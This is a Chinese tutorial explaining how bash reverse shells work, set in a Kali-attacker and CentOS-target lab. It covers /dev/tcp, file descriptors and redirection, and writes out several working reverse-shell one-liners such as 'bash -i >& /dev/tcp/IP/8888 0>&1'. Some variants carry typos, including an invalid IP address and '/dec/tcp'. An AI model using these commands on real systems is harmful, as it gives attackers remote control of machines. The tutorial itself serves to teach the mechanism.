您的位置:首页 > 运维架构 > Linux

浅析Linux之bash反弹shell原理

2020-11-18 04:06 886 查看

环境

攻击机:kali            ip:192.168.25.144

靶    机:centos      ip:192.168.25.142

过程

kali 监听本地8888端口

靶机 centos 写入 反弹shell 的命令

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

攻击机 kali 成功反弹shell

原理

反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互

我们将命令拆开

bash -i
/dev/tcp/192.168.25.144/8888
>&  0>&1

bash

Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径

常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途

查询当前shell命令    ls -l /bin/sh

bash -i  打开一个交互式的bash            shell 如果有 -i 参数,就是交互式的

交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的

使用命令  echo $-  可以查看是否是交互式shell

     

有参数  i ,是交互式的

执行一个shell脚本

 

无参数 i ,非交互式

/dev目录

dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件

 /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP连接

文件描述符

Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)

标准输入(stdin):           代码为  0     使用 < 或 <<          默认设备键盘

标准输出(stdout):         代码为  1     使用 > 或 >>          默认设备显示器

标准错误输出(stderr):  代码为   2    使用 2> 或 2>>      默认设备显示器

---    +--------+
( 0 ) ---->|dev/tty0|  当开启一个终端时 默认的文件描述符 指向 /dev/tty0(虚拟终端)
---    +--------+

---    +--------+
( 1 ) ---->|dev/tty0|
---    +--------+

---    +--------+
( 2 ) ---->|dev/tty0|
---    +--------+

大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端

Shell 输入/输出重定向

我们让上图  输出重定向

使用    1>    将输出结果写入到 指定文件中    文件不存在则创建文件,文件如果存在会覆盖原文件内容

省略不写则默认就是 1       同理,输入重定向  0<   省略不写则默认就是 0

使用  >>   会追内容在文件末尾

结合上面建立的TCP连接

kali攻击机收到

结合bash -i

在kali得到命令执行结果的回显

此时我们输入name,可以看到,标准输出错误并未被重定向

---    +--------+
( 0 ) ---->|dev/tty0|
---    +--------+

---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
---    +--------+      +------------------+

---    +--------+
( 2 ) ---->|dev/tty0|
---    +--------+

输入重定向

在kali攻击机,输入

靶机得到输入指令,标准输出(默认终端)

---    +--------+
( 0 ) ---->|dev/tty0|
---    +--------+

---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
---    +--------+      +------------------+

---    +--------+
( 2 ) ---->|dev/tty0|
---    +--------+

!!!!!!!!!!!!!!!

此时,我们只需要将

bash i  > /dec/tcp/192.168.25.144/8888  和   bash i  <  /dec/tcp/192.168.25.144/8888  结合

实现在攻击机 kali 输入 命令,在kali 机 得到命令回显,实现了反弹shell

即 使用下面的命令

bash -i> /dev/tcp/192.168.25.144/8888 0>&1

效果     kali   ip:192.168.25.140 

此时靶机会输出在攻击机所输入的命令,还有一个问题,标准错误输出 并没有重定向

补充:

bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,存在多个则从左往右依次执行

标准输出与标准错误输出重定向

此时反弹shell语句里边用到了  >&    操作符,>&  操作符在不同情况下有不通的含义

在   >&word  语法中,当word是数字或  字符时,操作符  >&   表示复制 文件描述符 

    而文件描述符的复制格式有     num1<&num2  和 num1>&num2 

    这里两个都是将文件描述符 num1 复制到 num2 ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

    因此 num1<&num2  和 num1>&num2 是等价的(读/写方式打开对其没有任何影响)

    所以上述命令可以修改为     bash -i > /dev/tcp/192.168.25.144/8888 0<&1

   所以    0>&1  或者   0<&1

   是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置

   此时1[标准输出]指向的是socket连接文件(第一个  >   )

   重定向完成后,0[标准输入]也指向了socket连接文件,所以我推测因为拷贝,所以原标准输出回显到靶机上(kali上敲的命  令)

---    +--------+
( 0 ) ---->|dev/tty0|\
---    +--------+ \
\
---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
---    +--------+      +------------------+

---    +--------+
( 2 ) ---->|dev/tty0|
---    +--------+

此时标准错误输出 依然未曾改变

在   >&word  语法中,当word不是数字或  -  字符时    >&  表示将 标准错误输出合并到标准输出中

     此时与操作符   &> 功能一样     >&word 等价于 &> word       都相当于        > word  2>&1 

    当执行 bash -i  > /dev/tcp/192.168.25.140/9999 0>&1   命令时,效果如下 标准输出错误并未被重定向

 

    所以我们执行命令   bash -i  > /dev/tcp/192.168.25.140/9999 0>&1 2>&1   或

    bash -i  >& /dev/tcp/192.168.25.140/9999 0>&1       均形成了一个闭合的回路  ,同样,命令回显到攻击机上

   

  实现以下效果形成闭合,即可反弹shell ,而其他一些反弹命令,只要可以形成如下效果即可

---    +--------+
( 0 ) ---->|dev/tty0|\
---    +--------+ \
\
---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
---    +--------+  ---->  +------------------+
/
---    +--------+ /
( 2 ) ---->|dev/tty0| /
---    +--------+
bash -i>& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i>& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i>& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i>& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i>& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i>& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i> /dev/tcp/192.168.25.144/8888 0>&1 2>&1

本文借鉴了很多大佬的博客,如有更正的地方。还望指出

参考链接:

https://xz.aliyun.com/t/2549

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

http://wiki.bash-hackers.org/howto/redirection_tutorial

https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

到此这篇关于浅析Linux之bash反弹shell原理的文章就介绍到这了,更多相关Linux bash反弹shell内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

您可能感兴趣的文章:
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  Linux bash 反弹 shell